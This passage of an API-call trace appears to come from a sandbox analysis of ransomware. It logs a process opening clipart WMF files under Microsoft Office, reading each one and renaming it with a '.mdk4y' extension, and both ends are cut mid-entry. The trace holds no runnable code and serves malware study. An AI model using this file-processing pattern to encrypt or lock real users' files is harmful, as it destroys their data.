lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x844, lpOverlapped=0x0) returned 1 [0139.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821477800000) returned 1 [0139.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821477800000) returned 1 [0139.548] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.mdk4y")) returned 1 [0139.549] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.549] AreFileApisANSI () returned 1 [0139.549] GetACP () returned 0x4e4 [0139.549] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00636_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00636_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.549] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821478000000) returned 1 [0139.550] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x620, lpOverlapped=0x0) returned 1 [0139.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821479200000) returned 1 [0139.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821479200000) returned 1 [0139.563] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.mdk4y")) returned 1 [0139.563] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.563] AreFileApisANSI () returned 1 [0139.563] GetACP () returned 0x4e4 [0139.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00669_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00669_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.563] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.564] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821479400000) returned 1 [0139.564] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2ce2, lpOverlapped=0x0) returned 1 [0139.573] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821480300000) returned 1 [0139.573] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821480300000) returned 1 [0139.573] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.mdk4y")) returned 1 [0139.574] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.574] AreFileApisANSI () returned 1 [0139.574] GetACP () returned 0x4e4 [0139.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00681_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00681_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.574] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.575] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821480500000) returned 1 [0139.575] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2454, lpOverlapped=0x0) returned 1 [0139.576] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821480600000) returned 1 [0139.576] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821480600000) returned 1 [0139.577] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.mdk4y")) returned 1 [0139.578] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.578] AreFileApisANSI () returned 1 [0139.578] GetACP () returned 0x4e4 [0139.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00685_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00685_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.578] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821480800000) returned 1 [0139.578] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xfc0, lpOverlapped=0x0) returned 1 [0139.580] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821481000000) returned 1 [0139.580] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821481000000) returned 1 [0139.580] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.mdk4y")) returned 1 [0139.580] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.582] AreFileApisANSI () returned 1 [0139.582] GetACP () returned 0x4e4 [0139.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00687_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00687_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.582] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821481200000) returned 1 [0139.582] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x10f4, lpOverlapped=0x0) returned 1 [0139.630] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821486000000) returned 1 [0139.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821486100000) returned 1 [0139.631] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.mdk4y")) returned 1 [0139.632] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.632] AreFileApisANSI () returned 1 [0139.632] GetACP () returned 0x4e4 [0139.632] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00688_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00688_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.632] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821486200000) returned 1 [0139.632] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1bac, lpOverlapped=0x0) returned 1 [0139.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821486400000) returned 1 [0139.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821486400000) returned 1 [0139.634] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.mdk4y")) returned 1 [0139.635] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.635] AreFileApisANSI () returned 1 [0139.635] GetACP () returned 0x4e4 [0139.635] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00693_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00693_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.635] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821486500000) returned 1 [0139.635] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1bba, lpOverlapped=0x0) returned 1 [0139.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821488200000) returned 1 [0139.653] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821488300000) returned 1 [0139.654] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.mdk4y")) returned 1 [0139.655] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.655] AreFileApisANSI () returned 1 [0139.655] GetACP () returned 0x4e4 [0139.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH01013_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH01013_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.655] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.656] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821488600000) returned 1 [0139.656] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb20, lpOverlapped=0x0) returned 1 [0139.658] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821488800000) returned 1 [0139.658] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821488800000) returned 1 [0139.658] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.mdk4y")) returned 1 [0139.658] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.659] AreFileApisANSI () returned 1 [0139.659] GetACP () returned 0x4e4 [0139.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH01015_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH01015_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.659] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821488900000) returned 1 [0139.660] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x47c, lpOverlapped=0x0) returned 1 [0139.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821494700000) returned 1 [0139.718] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821494800000) returned 1 [0139.718] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.mdk4y")) returned 1 [0139.719] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.719] AreFileApisANSI () returned 1 [0139.719] GetACP () returned 0x4e4 [0139.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH01058_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH01058_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.719] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821495000000) returned 1 [0139.720] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xac4, lpOverlapped=0x0) returned 1 [0139.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821495100000) returned 1 [0139.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821495100000) returned 1 [0139.721] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.mdk4y")) returned 1 [0139.722] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.722] AreFileApisANSI () returned 1 [0139.722] GetACP () returned 0x4e4 [0139.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH01065_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH01065_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.722] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821495200000) returned 1 [0139.722] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4f4, lpOverlapped=0x0) returned 1 [0139.724] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821495400000) returned 1 [0139.724] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821495400000) returned 1 [0139.724] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.mdk4y")) returned 1 [0139.724] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.724] AreFileApisANSI () returned 1 [0139.724] GetACP () returned 0x4e4 [0139.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH01080_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH01080_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.725] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821495500000) returned 1 [0139.725] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1388, lpOverlapped=0x0) returned 1 [0139.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821495600000) returned 1 [0139.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821495600000) returned 1 [0139.727] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.mdk4y")) returned 1 [0139.727] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.727] AreFileApisANSI () returned 1 [0139.727] GetACP () returned 0x4e4 [0139.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH01242_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH01242_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.728] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.728] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821495800000) returned 1 [0139.728] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1cac, lpOverlapped=0x0) returned 1 [0139.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821496000000) returned 1 [0139.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821496000000) returned 1 [0139.730] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.mdk4y")) returned 1 [0139.731] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.731] AreFileApisANSI () returned 1 [0139.731] GetACP () returned 0x4e4 [0139.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH01291_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH01291_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.731] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.732] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821496200000) returned 1 [0139.732] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3dbe, lpOverlapped=0x0) returned 1 [0139.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821498700000) returned 1 [0139.758] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: 